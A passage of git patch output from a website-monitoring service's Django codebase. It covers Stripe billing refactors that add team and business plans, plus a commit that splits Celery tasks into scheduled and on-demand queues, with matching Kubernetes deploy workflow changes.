+    schedules_allowed   = int(request.data.get('schedules_allowed'))
+    retention_days      = int(request.data.get('retention_days'))
+    scans_allowed       = int(request.data.get('scans_allowed'))
+    tests_allowed       = int(request.data.get('tests_allowed'))
+    caseruns_allowed    = int(request.data.get('caseruns_allowed'))
+    flowruns_allowed    = int(request.data.get('flowruns_allowed'))
+    nodes_allowed       = int(request.data.get('nodes_allowed'))
+    conditions_allowed  = int(request.data.get('conditions_allowed'))
+    meta                = request.data.get('meta', get_meta_default())
     
     # get user
     user = request.user
 
     # set defaults
-    initial_call = True
-    client_secret = None
+    initial_call    = True
+    client_secret   = None
     default_product = None
-    default_price = None
-    task_product = None
-    task_price = None
-    prices = []
+    default_price   = None
+    task_product    = None
+    task_price      = None
+    prices          = []
 
     # build Stripe Default Product name
     default_product_name = f'{name.capitalize()}'
@@ -105,9 +102,9 @@ def stripe_setup(request: object) -> object:
 
     # update existing Stripe Customer & Product
     if account.cust_id is not None:
-        initial_call = False
+        initial_call    = False
         default_product = stripe.Product.modify(account.product_id, name=default_product_name)
-        customer = stripe.Customer.retrieve(account.cust_id)
+        customer        = stripe.Customer.retrieve(account.cust_id)
 
     # create new Stripe Default Price for 
     default_price = stripe.Price.create(
@@ -120,8 +117,8 @@ def stripe_setup(request: object) -> object:
     # add to prices
     prices.append(default_price)
     
-    # create new Stripe Task Product & Price for CLOUD
-    if name == 'cloud':
+    # create new Stripe Task Product & Price for CLOUD (Team & Business)
+    if name in ['cloud', 'team', 'business']:
 
         # create task product
         task_product = stripe.Product.create(name='Tasks')
@@ -245,19 +242,20 @@ def stripe_complete(request: object) -> object:
     enters CC details on Cursion.client - Also updates 
     `Account` payment method.
 
-    Expects: {
+    Args:
         'payment_method' : <str> stripe payment method id from client (REQUIRED)
     
-    Returns -> `Account` HTTP Response object
+    Returns:
+        `Account` HTTP Response object
     """
 
     # init Stripe client
     stripe.api_key = settings.STRIPE_PRIVATE
     
     # get request data
-    user = request.user
-    account = Account.objects.get(user=user)
-    pay_method_id = request.data['payment_method']
+    user            = request.user
+    account         = Account.objects.get(user=user)
+    pay_method_id   = request.data['payment_method']
 
     # get Stripe PaymentMethod object
     pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
@@ -337,11 +335,11 @@ def calc_price(account: object=None) -> int:
     Calculates a `price` based on `Account.sites_allowed` 
     and any `Account.meta.coupon` data.
 
-    Expects: {
+    Args:
         'account': <object> (REQUIRED)
-    } 
     
-    Returns: 'price_amount' <int>
+    Returns:
+        'price_amount' <int>
     """
 
     # init Stripe client
@@ -381,13 +379,11 @@ def get_stripe_hosted_url(request: object=None) -> object:
     Portal Session' (allows customer to manage existing subscription).
     Either session type with return a Stripe redirect url
 
-    Expects: {
+    Args:
         'request' : <object> (REQUIRED)
-    }
     
-    Returns -> data: {
+    Returns:
         'stripe_url': <str>
-    }
     """
 
     # init Stripe client
@@ -456,11 +452,11 @@ def update_account_with_stripe_redirect(request: object=None) -> object:
     """ 
     Updates `Account` with new sub data from stripe redirect
 
-    Expects: {
+    Args:
         'request' : <object> (REQUIRED)
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # init Stripe client
@@ -488,11 +484,11 @@ def update_account_with_stripe_redirect(request: object=None) -> object:
     )
 
     # get stripe product & price info
-    plan = sub['items']['data'][0]['plan']
-    product_id = plan['product']
-    price_id = plan['id']
-    price_amount = plan['amount']
-    interval = plan['interval']
+    plan            = sub['items']['data'][0]['plan']
+    product_id      = plan['product']
+    price_id        = plan['id']
+    price_amount    = plan['amount']
+    interval        = plan['interval']
 
     # setting Account.active
     active = False if (sub['canceled_at'] or sub['pause_collection']) else True
@@ -555,11 +551,11 @@ def get_billing_info(request: object) -> object:
     Gets the `Card`, `Account`, and slack info associated
     with the passed "user".
 
-    Expects: {
+    Args:
         'request' : <object> (REQUIRED)
-    }
     
-    Returns -> HTTP Response object
+    Returns:
+        HTTP Response object
     """
 
     # init Stripe client
@@ -580,10 +576,10 @@ def get_billing_info(request: object) -> object:
     estimated_cost = None
 
     # get current task usage overages if cloud
-    if account.type == 'cloud':
+    if account.type in ['cloud', 'team', 'business']:
         
         task_count = 0
-        task_items = ['caseruns', 'flowruns', 'scans', 'tests']
+        task_items = ['caseruns', 'scans', 'tests']
         
         for item in task_items:
             overage = int(account.usage[item]) - int(account.usage[f'{item}_allowed'])
@@ -601,23 +597,23 @@ def get_billing_info(request: object) -> object:
 
     # build plan
     plan = {
-        'name': account.type,
-        'active': account.active,
-        'price_amount': account.price_amount,
-        'interval': account.interval,
-        'usage': account.usage,
-        'meta': account.meta,
-        'estimated_cost': estimated_cost
+        'name'           : account.type,
+        'active'         : account.active,
+        'price_amount'   : account.price_amount,
+        'interval'       : account.interval,
+        'usage'          : account.usage,
+        'meta'           : account.meta,
+        'estimated_cost' : estimated_cost
     }
         
     # get `Card` info if exists
     if Card.objects.filter(account=account).exists():
         _card = Card.objects.get(account=account)
         card = {
-            'brand': _card.brand,
-            'exp_year': _card.exp_year,
-            'exp_month': _card.exp_month,
-            'last_four': _card.last_four,
+            'brand'     : _card.brand,
+            'exp_year'  : _card.exp_year,
+            'exp_month' : _card.exp_month,
+            'last_four' : _card.last_four,
         }
 
     # format billing info
@@ -637,10 +633,11 @@ def account_activation(request: object) -> object:
     Pauses or Activates the `Account` and billing 
     for the associated Stripe Subscription.
 
-    Expects: {
+    Args:
         'request' : <object> (REQUIRED)
     
-    Returns -> `Account` HTTP Response object
+    Returns:
+        Account` HTTP Response object
     """
 
     # init Stripe client
@@ -658,7 +655,7 @@ def account_activation(request: object) -> object:
             account.sub_id,
             pause_collection={
                 'behavior': 'mark_uncollectible',
-                },
+            },
         )
         active = False
 
@@ -688,12 +685,12 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
     Cancels the Stripe Subscription associated with the
     passed "user" and reverts the `Account` to a "free" plan
     
-    Expects: {
+    Args:
         'request': object (OPTIONAL)
         'account': object (OPTIONAL)
-    }
 
-    Returns -> `Account` HTTP Response object or Bool `true`
+    Returns:
+        Account` HTTP Response object or Bool `true`
     """
 
     # init Stripe client
@@ -701,7 +698,7 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
 
     # get user's account
     if request is not None:
-        user = request.user
+        user    = request.user
         account = Account.objects.get(user=user)
 
     # update billing if accout is active
@@ -716,16 +713,16 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
             print(e)
 
         # update Account plan
-        account.type = 'free'
-        account.interval = 'month'
-        account.price_amount = 0
-        account.cust_id = None
-        account.sub_id = None
-        account.product_id = None
-        account.price_id = None
-        account.price_amount = None
-        account.usage = get_usage_default()
-        account.meta = get_meta_default()
+        account.type            = 'free'
+        account.interval        = 'month'
+        account.price_amount    = 0
+        account.cust_id         = None
+        account.sub_id          = None
+        account.product_id      = None
+        account.price_id        = None
+        account.price_amount    = None
+        account.usage           = get_usage_default()
+        account.meta            = get_meta_default()
 
         # save Account
         account.save()
@@ -767,14 +764,12 @@ def get_stripe_invoices(request: object) -> object:
     Gets a list of Stripe Invoice objects associated with the 
     passed "user" `Account`
     
-    Expects: {
+    Args:
         'request': object
-    }
-
-    Returns -> data: {
+    
+    Returns:
         'has_more': <bool> true if more than 10
         'data': <list> of invoice objects
-    }
     """
 
     # init Stripe client
@@ -828,8 +823,16 @@ def get_stripe_invoices(request: object) -> object:
                     # get product_name
                     if 'cloud' in item['description'].lower():
                         product_name = 'Cloud'
+                    if 'team' in item['description'].lower():
+                        product_name = 'Team'
+                    if 'business' in item['description'].lower():
+                        product_name = 'Business'
                     if 'selfhost' in item['description'].lower():
                         product_name = 'Self Host'
+                    if 'license' in item['description'].lower():
+                        product_name = 'License'
+                    if 'manage' in item['description'].lower():
+                        product_name = 'Manage'
                     if 'enterprise' in item['description'].lower():
                         product_name = 'Enterprise'
                     # get interval
@@ -881,11 +884,10 @@ def check_coupon(request: object) -> object:
     `Coupon.codes`. If found, returns "success=True" 
     and the whole `Coupon` object
 
-    Expects: {
+    Args: {
         'request' : <object> (REQUIRED)
-    }
     
-    Returns -> HTTP Response of serialized `Coupon` objects
+    Returns: HTTP Response of serialized `Coupon` objects
     """
 
     # get request data

From 121250765aea048ef645ae9e3a9d07897292cc44 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 21 Jan 2026 13:51:38 -0700
Subject: [PATCH 1080/1099] feature: split celery queue into `scheduled` &
 `on_demand`

---
 .github/workflows/k8s-deploy.yaml             |  15 +-
 app/api/tasks.py                              | 250 +++++++++++-----
 app/api/utils/alerts.py                       |  18 +-
 app/api/utils/archive/driver_p.py             |   2 +-
 app/api/utils/archive/imager.py               |   2 +-
 app/api/utils/autocaser.py                    |   2 +-
 app/api/utils/caser.py                        |   4 +-
 app/api/utils/exporter.py                     |   2 +-
 app/api/utils/reporter.py                     |   2 +-
 app/api/v1/auth/services.py                   |  17 +-
 app/api/v1/billing/services.py                |   4 +-
 app/api/v1/ops/services.py                    | 270 +++++++++++-------
 app/cursion/settings.py                       |  18 +-
 docker-compose.dev.yml                        |  35 ++-
 docker-compose.yml                            |  33 ++-
 k8s/prod/celery-autoscaler.yaml               |   6 +-
 k8s/prod/celery-on-demand-deployment.yaml     |  68 +++++
 ....yaml => celery-scheduled-deployment.yaml} |  10 +-
 setup/scripts/entrypoint.sh                   |   9 +-
 19 files changed, 537 insertions(+), 230 deletions(-)
 create mode 100644 k8s/prod/celery-on-demand-deployment.yaml
 rename k8s/prod/{celery-deployment.yaml => celery-scheduled-deployment.yaml} (90%)

diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index 9b8e5aff..7b80e0cc 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -54,8 +54,11 @@ jobs:
     - name: Update app deployment file
       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
-    - name: Update celery deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+    - name: Update celery on_demand deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-on-demand-deployment.yaml
+
+    - name: Update celery scheduled deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-scheduled-deployment.yaml
 
     - name: Update beat deployment file
       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
@@ -66,14 +69,16 @@ jobs:
     # Re-deploy app, celery and beat
     - name: Deploy app
       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
-    - name: Deploy celery 
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+    - name: Deploy celery on_demand
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-on-demand-deployment.yaml
+    - name: Deploy celery scheduled
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-scheduled-deployment.yaml
     - name: Deploy beat 
       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
     - name: Verify app
       run: kubectl rollout status deployment/app-deployment
     - name: Verify celery
-      run: kubectl rollout status deployment/celery-deployment
+      run: kubectl rollout status deployment/celery-scheduled-deployment
     - name: Verify beat
       run: kubectl rollout status deployment/beat-deployment
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 4b9f2448..fea40c59 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -54,6 +54,32 @@ class BaseTaskWithRetry(Task):
 # setting redis client
 redis_client = Redis.from_url(settings.CELERY_BROKER_URL)
 
+CELERY_QUEUE_SCHEDULED = getattr(settings, 'CELERY_QUEUE_SCHEDULED', 'scheduled')
+CELERY_QUEUE_ON_DEMAND = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
+
+
+def get_task_queue(task_request=None, kwargs: dict | None = None) -> str:
+    if kwargs and kwargs.get('_queue'):
+        return str(kwargs['_queue'])
+    if task_request is not None:
+        try:
+            delivery_info = getattr(task_request, 'delivery_info', {}) or {}
+            routing_key = delivery_info.get('routing_key')
+            if routing_key:
+                return str(routing_key)
+        except Exception:
+            pass
+    return str(getattr(settings, 'CELERY_TASK_DEFAULT_QUEUE', CELERY_QUEUE_SCHEDULED))
+
+
+def apply_async_in_queue(task, *, kwargs: dict, queue: str, task_id: str | None = None):
+    return task.apply_async(
+        kwargs=kwargs,
+        queue=queue,
+        routing_key=queue,
+        task_id=task_id,
+    )
+
 
 
 
@@ -250,7 +276,8 @@ def call_local_task_by_name(
 
     task_func = globals()[task_name]
     print(f'calling -> task_func.apply_async(kwargs={kwargs}, task_id={task_id})')
-    return task_func.apply_async(kwargs=kwargs, task_id=task_id)
+    queue = get_task_queue(kwargs=kwargs)
+    return apply_async_in_queue(task_func, kwargs=kwargs, queue=queue, task_id=task_id)
 
 
 
@@ -282,7 +309,20 @@ def redeliver_failed_tasks() -> None:
     # fetch active, reserved, & queues tasks
     reserved    = i.reserved() or {}
     active      = i.active() or {}
-    queued      = redis_client.lrange('celery', 0, -1)
+    broker_queues = list(
+        {
+            'celery',
+            CELERY_QUEUE_SCHEDULED,
+            CELERY_QUEUE_ON_DEMAND,
+            getattr(settings, 'CELERY_TASK_DEFAULT_QUEUE', CELERY_QUEUE_SCHEDULED),
+        }
+    )
+    queued = []
+    for q in broker_queues:
+        try:
+            queued += redis_client.lrange(str(q), 0, -1)
+        except Exception:
+            continue
     all_tasks   = []
 
     # gather task IDs from reserved queue
@@ -318,6 +358,7 @@ def redeliver_failed_tasks() -> None:
         alert_id        = None
         flowrun_id      = None
         node_index      = None
+        queue           = None
         components      = []
         for task in (scan.system or {}).get('tasks', []):
 
@@ -342,6 +383,7 @@ def redeliver_failed_tasks() -> None:
             alert_id    = task['kwargs'].get('alert_id')    or alert_id
             flowrun_id  = task['kwargs'].get('flowrun_id')  or flowrun_id
             node_index  = task['kwargs'].get('node_index')  or node_index 
+            queue = get_task_queue(kwargs=task.get('kwargs') or {}) or queue
             
             # re-run task if task is not "running", "pending", 
             # or reached "max_attempts".
@@ -353,7 +395,7 @@ def redeliver_failed_tasks() -> None:
 
                 # check for max attempts
                 elif task.get('attempts', 0) < settings.MAX_ATTEMPTS:
-                    task_id = f'lock:{task["task_method"].replace('run_','')}_{scan.id}'
+                    task_id = f"lock:{task['task_method'].replace('run_', '')}_{scan.id}"
                     call_local_task_by_name(task["task_method"], task["kwargs"], task_id)
                     retried_tasks += 1
 
@@ -376,12 +418,19 @@ def redeliver_failed_tasks() -> None:
             # execute `run_test()` if test_id present
             if test_id:
                 logger.info(f'executing run_test() from `post_scan` in `retry_tasks`')
-                run_test.delay(
-                    test_id=str(test_id),
-                    alert_id=alert_id,
-                    flowrun_id=flowrun_id,
-                    node_index=node_index
-                )  
+                queue = queue or get_task_queue(kwargs={'_queue': None})
+                apply_async_in_queue(
+                    run_test,
+                    kwargs={
+                        'test_id': str(test_id),
+                        'alert_id': alert_id,
+                        'flowrun_id': flowrun_id,
+                        'node_index': node_index,
+                        '_queue': queue,
+                    },
+                    queue=queue,
+                    task_id=f'lock:run_test_{test_id}',
+                )
         
     # iterate through each test and re-run if failed
     for test in tests:
@@ -485,6 +534,8 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
 
     # crawl site 
     pages = Crawler(url=site.site_url, max_urls=max_urls).get_links()
+
+    queue = get_task_queue(self.request)
     
     # create pages and scans
     for url in pages:
@@ -508,12 +559,12 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
                     type=settings.TYPES,
                     configs=configs
                 )
-                
-                # run each scan component in parallel
-                run_html_and_logs_bg.delay(scan_id=scan.id)
-                run_lighthouse_bg.delay(scan_id=scan.id)
-                run_yellowlab_bg.delay(scan_id=scan.id)
-                run_vrt_bg.delay(scan_id=scan.id)
+
+                apply_async_in_queue(
+                    scan_page_bg,
+                    kwargs={'scan_id': str(scan.id), '_queue': queue},
+                    queue=queue,
+                )
                 
                 # update page info 
                 page.info["latest_scan"]["id"] = str(scan.id)
@@ -562,6 +613,8 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
     new_urls = Crawler(url=site.site_url, max_urls=pages_allowed).get_links()
     add_urls = []
 
+    queue = get_task_queue(self.request)
+
     # checking for duplicates
     for url in new_urls:
         if not url in old_urls:
@@ -591,11 +644,12 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
                     type=settings.TYPES,
                     configs=configs
                 )
-                # run each scan component in parallel
-                run_html_and_logs_bg.delay(scan_id=scan.id)
-                run_lighthouse_bg.delay(scan_id=scan.id)
-                run_yellowlab_bg.delay(scan_id=scan.id)
-                run_vrt_bg.delay(scan_id=scan.id)
+
+                apply_async_in_queue(
+                    scan_page_bg,
+                    kwargs={'scan_id': str(scan.id), '_queue': queue},
+                    queue=queue,
+                )
                 page.info["latest_scan"]["id"] = str(scan.id)
                 page.info["latest_scan"]["time_created"] = str(scan.time_created)
                 page.save()
@@ -807,6 +861,7 @@ def scan_page_bg(
         alert_id    : str=None, 
         flowrun_id  : str=None,
         node_index  : str=None,
+        _queue      : str=None,
     ) -> None:
     """ 
     Runs all the requested `Scan` components 
@@ -825,51 +880,65 @@ def scan_page_bg(
     
     # get scan object
     scan = Scan.objects.get(id=scan_id)
+
+    queue = get_task_queue(self.request, kwargs={'_queue': _queue} if _queue else None)
     
     # run each scan component in parallel
     if 'html' in scan.type or 'logs' in scan.type or 'full' in scan.type:
-        run_html_and_logs_bg.apply_async(
+        apply_async_in_queue(
+            run_html_and_logs_bg,
             kwargs={
                 'scan_id'   : scan_id,
                 'test_id'   : test_id,
                 'alert_id'  : alert_id,
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
+                '_queue'    : queue,
             },
-            task_id=f'lock:html_and_logs_bg_{scan_id}'
+            queue=queue,
+            task_id=f'lock:html_and_logs_bg_{scan_id}',
         )
     if 'lighthouse' in scan.type or 'full' in scan.type:
-        run_lighthouse_bg.apply_async(
+        apply_async_in_queue(
+            run_lighthouse_bg,
             kwargs={
                 'scan_id'   : scan_id,
                 'test_id'   : test_id,
                 'alert_id'  : alert_id,
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
+                '_queue'    : queue,
             },
-            task_id=f'lock:lighthouse_bg_{scan_id}'
+            queue=queue,
+            task_id=f'lock:lighthouse_bg_{scan_id}',
         )
     if 'yellowlab' in scan.type or 'full' in scan.type:
-        run_yellowlab_bg.apply_async(
+        apply_async_in_queue(
+            run_yellowlab_bg,
             kwargs={
                 'scan_id'   : scan_id,
                 'test_id'   : test_id,
                 'alert_id'  : alert_id,
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
+                '_queue'    : queue,
             },
-            task_id=f'lock:yellowlab_bg_{scan_id}'
+            queue=queue,
+            task_id=f'lock:yellowlab_bg_{scan_id}',
         )
     if 'vrt' in scan.type or 'full' in scan.type:
-        run_vrt_bg.apply_async(
+        apply_async_in_queue(
+            run_vrt_bg,
             kwargs={
                 'scan_id'   : scan_id,
                 'test_id'   : test_id,
                 'alert_id'  : alert_id,
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
+                '_queue'    : queue,
             },
-            task_id=f'lock:vrt_bg_{scan_id}'
+            queue=queue,
+            task_id=f'lock:vrt_bg_{scan_id}',
         )
 
     logger.info('started scan component tasks')
@@ -978,6 +1047,8 @@ def create_scan_bg(self, **kwargs) -> None:
             logger.info('Not running due to location param')
             return None
 
+        queue = get_task_queue(self.request, kwargs)
+
         # setting defaults
         pages = []
         sites = []
@@ -1041,7 +1112,8 @@ def create_scan_bg(self, **kwargs) -> None:
                         'scan_id': str(scan.id),
                         'alert_id': alert_id,
                         'flowrun_id': flowrun_id,
-                        'node_index': node_index
+                        'node_index': node_index,
+                        '_queue': queue,
                     }
                 )
 
@@ -1067,11 +1139,16 @@ def create_scan_bg(self, **kwargs) -> None:
                 })
 
                 # init scan page in background
-                scan_page_bg.delay(
-                    scan_id=str(scan.id),
-                    alert_id=alert_id,
-                    flowrun_id=flowrun_id,
-                    node_index=node_index
+                apply_async_in_queue(
+                    scan_page_bg,
+                    kwargs={
+                        'scan_id': str(scan.id),
+                        'alert_id': alert_id,
+                        'flowrun_id': flowrun_id,
+                        'node_index': node_index,
+                        '_queue': queue,
+                    },
+                    queue=queue,
                 )
             
         # update flowrun
@@ -1506,7 +1583,8 @@ def create_test(
         tags: list=None,
         threshold: float=settings.TEST_THRESHOLD,
         flowrun_id: str=None,
-        node_index: str=None
+        node_index: str=None,
+        _queue: str=None,
     ) -> None:
     """ 
     Creates a `post_scan` if necessary, waits for completion,
@@ -1531,6 +1609,7 @@ def create_test(
     # setting defaults
     created_test = None
     objects = []
+    queue = get_task_queue(self.request, kwargs={'_queue': _queue} if _queue else None)
 
     # get or create a Test
     if test_id is not None:
@@ -1621,7 +1700,8 @@ def create_test(
                 scan_page_bg(
                     scan_id=new_scan.id,
                     flowrun_id=flowrun_id,
-                    node_index=node_index
+                    node_index=node_index,
+                    _queue=queue,
                 )
 
                 # update flowrun
@@ -1696,7 +1776,8 @@ def create_test(
             test_id=created_test.id,
             alert_id=alert_id,
             flowrun_id=flowrun_id,
-            node_index=node_index
+            node_index=node_index,
+            _queue=queue,
         )
 
         # update flowrun
@@ -1726,11 +1807,17 @@ def create_test(
 
     # check if pre and post scan are complete and start test if True
     if pre_scan.time_completed is not None and post_scan.time_completed is not None:
-        run_test.delay(
-            test_id=created_test.id, 
-            alert_id=alert_id,
-            flowrun_id=flowrun_id,
-            node_index=node_index
+        apply_async_in_queue(
+            run_test,
+            kwargs={
+                'test_id': str(created_test.id),
+                'alert_id': alert_id,
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                '_queue': queue,
+            },
+            queue=queue,
+            task_id=f'lock:run_test_{created_test.id}',
         )
     
     logger.info('Began Scan/Test process')
@@ -1795,6 +1882,8 @@ def create_test_bg(self, **kwargs) -> None:
             logger.info('Not running due to location param')
             return None
 
+        queue = get_task_queue(self.request, kwargs)
+
         # create test if none was passed
         if test_id is None:
             
@@ -1879,7 +1968,8 @@ def create_test_bg(self, **kwargs) -> None:
                         post_scan=post_scan,
                         alert_id=str(alert_id),
                         flowrun_id=str(flowrun_id),
-                        node_index=node_index
+                        node_index=node_index,
+                        _queue=queue,
                     )
                 
                 else:
@@ -1914,18 +2004,23 @@ def create_test_bg(self, **kwargs) -> None:
         # get test and run 
         if test_id:
             test = Test.objects.get(id=test_id)
-            create_test.delay(
-                test_id=str(test_id),
-                page_id=str(test.page.id),
-                type=type,
-                configs=configs,
-                tags=tags,
-                threshold=float(threshold),
-                pre_scan=pre_scan,
-                post_scan=post_scan,
-                alert_id=str(alert_id),
-                flowrun_id=str(flowrun_id),
-                node_index=node_index
+            apply_async_in_queue(
+                create_test,
+                kwargs={
+                    'test_id': str(test_id),
+                    'page_id': str(test.page.id),
+                    'type': type,
+                    'configs': configs,
+                    'tags': tags,
+                    'threshold': float(threshold),
+                    'pre_scan': pre_scan,
+                    'post_scan': post_scan,
+                    'alert_id': str(alert_id),
+                    'flowrun_id': str(flowrun_id),
+                    'node_index': node_index,
+                    '_queue': queue,
+                },
+                queue=queue,
             )
 
         # update schedule if task_id is not None
@@ -1942,7 +2037,9 @@ def create_report(
         page_id: str=None, 
         alert_id: str=None,
         flowrun_id: str=None,
-        node_index: str=None
+        node_index: str=None,
+        _queue: str=None,
+        **kwargs,
     ) -> None:
     """ 
     Generates a new PDF `Report` of the requested `Page`
@@ -2038,6 +2135,8 @@ def create_report_bg(**kwargs) -> None:
             logger.info('task is already running, skipping execution.')
             return None
 
+        queue = get_task_queue(kwargs=kwargs)
+
         # setting defaults
         pages = []
         sites = []
@@ -2106,11 +2205,16 @@ def create_report_bg(**kwargs) -> None:
             # sleeping random for DB 
             time.sleep(random.uniform(2, 6))
 
-            create_report.delay(
-                page_id=page.id,
-                alert_id=alert_id,
-                flowrun_id=flowrun_id,
-                node_index=node_index
+            apply_async_in_queue(
+                create_report,
+                kwargs={
+                    'page_id': str(page.id),
+                    'alert_id': alert_id,
+                    'flowrun_id': flowrun_id,
+                    'node_index': node_index,
+                    '_queue': queue,
+                },
+                queue=queue,
             )
         
         # update schedule if task_id is not None
@@ -2224,7 +2328,9 @@ def run_case(
         caserun_id: str=None, 
         alert_id: str=None,
         flowrun_id: str=None,
-        node_index: str=None
+        node_index: str=None,
+        _queue: str=None,
+        **kwargs,
     ) -> None:
     """
     Runs a CaseRun.
@@ -2307,6 +2413,8 @@ def create_caserun_bg(**kwargs) -> None:
             logger.info('Not running due to location param')
             return None
 
+        queue = get_task_queue(kwargs=kwargs)
+
         # settign defaults 
         case = None
         steps = None
@@ -2411,11 +2519,16 @@ def create_caserun_bg(**kwargs) -> None:
 
         # iterate through caseruns and run
         for caserun in caseruns:
-            run_case.delay(
-                caserun_id=str(caserun.id),
-                alert_id=alert_id,
-                flowrun_id=flowrun_id,
-                node_index=node_index
+            apply_async_in_queue(
+                run_case,
+                kwargs={
+                    'caserun_id': str(caserun.id),
+                    'alert_id': alert_id,
+                    'flowrun_id': flowrun_id,
+                    'node_index': node_index,
+                    '_queue': queue,
+                },
+                queue=queue,
             )
 
         # update schedule if task_id is not None
@@ -3710,6 +3823,3 @@ def migrate_site_bg(
 
     logger.info('Finished Migration')
     return None
-
-
-
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 6889fd5d..5e2a3776 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -25,7 +25,7 @@ def send_reset_link(email: str=None) -> dict:
     Args:
         'email': str
     
-    Returns: {
+    Returns:
         'success': bool
     """
 
@@ -81,7 +81,7 @@ def send_invite_link(member: object=None) -> dict:
     Args:
         'member': obj
     
-    Returns: {
+    Returns:
         'success': bool
     """
 
@@ -141,7 +141,7 @@ def send_remove_alert(member: object=None) -> dict:
     Args:
         'member': obj
     
-    Returns: {
+    Returns:
         'success': bool
     """
 
@@ -200,7 +200,7 @@ def create_exp(obj: object=None, alert: object=None) -> dict:
         'obj'   :  object (Scan, Test, CaseRun, FlowRun),
         'alert' :  object
     
-    Returns: {
+    Returns:
         'exp_list': list, 
         'exp_str' : str,
     """
@@ -333,7 +333,7 @@ def get_obj(object_id: str=None) -> dict:
     Args:
         'object_id':  str,
     
-    Returns: {
+    Returns:
         'obj'      : object,
         'obj_type' : str,
         'success'  : bool
@@ -410,7 +410,7 @@ def alert_email(email: str=None, alert_id: str=None, object_id: str=None) -> dic
         'alert_id' : str,
         'object_id'     : str
     
-    Returns: {
+    Returns:
         'success': bool
     """
 
@@ -504,7 +504,7 @@ def alert_report_email(email: str=None, alert_id: str=None, object_id: str=None)
         'alert_id' : str,
         'object_id'     : str
     
-    Returns: {
+    Returns:
         'success': bool
     """
 
@@ -581,7 +581,7 @@ def alert_phone(phone_number: str=None, alert_id: str=None, object_id: str=None)
         'alert_id'        : str, 
         'object_id'       : str,
     
-    Returns: {
+    Returns:
         'success': bool
     """
 
@@ -657,7 +657,7 @@ def alert_slack(alert_id: str=None, object_id: str=None) -> dict:
         'alert_id'   : str, 
         'object_id'  : str,
     
-    Returns: {
+    Returns:
         'success': bool
     """
 
diff --git a/app/api/utils/archive/driver_p.py b/app/api/utils/archive/driver_p.py
index 42227fcf..da14dba3 100644
--- a/app/api/utils/archive/driver_p.py
+++ b/app/api/utils/archive/driver_p.py
@@ -150,7 +150,7 @@
 #         configs : dict
 #     }
     
-#     Returns: {
+#     Returns:
 #         'html' : str, 
 #         'logs' : dict,
 #     }
diff --git a/app/api/utils/archive/imager.py b/app/api/utils/archive/imager.py
index 9682d236..25383597 100644
--- a/app/api/utils/archive/imager.py
+++ b/app/api/utils/archive/imager.py
@@ -512,7 +512,7 @@
 #             'index': int,
 #         }
 
-#         Returns: {
+#         Returns:
 #             'average_score' : float(0-100),
 #             'images'        : dict,
 #         }
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 5796cb68..d9860df5 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -403,7 +403,7 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
 
     def record_new_element(self, elem: object, sub_elements: list) -> dict:
         """
-        Returns: {
+        Returns:
             'sub_elements': [],
             'run': bool,
             'added': bool,
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 24adfba9..83f19513 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -360,7 +360,7 @@ def save_case_steps(self, steps: dict, case_id: str) -> dict:
             'case_id' : str
         }
 
-        Returns: {
+        Returns:
             'num_steps' : int,
             'url'       : str
         }
@@ -421,7 +421,7 @@ def get_element(self, selector: str=None, xpath: str=None) -> object:
             "xpath": str, 
         }
 
-        Returns: {
+        Returns:
             'element': object | None,
             'failed': bool
         }
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index dc308c06..e1f114b4 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
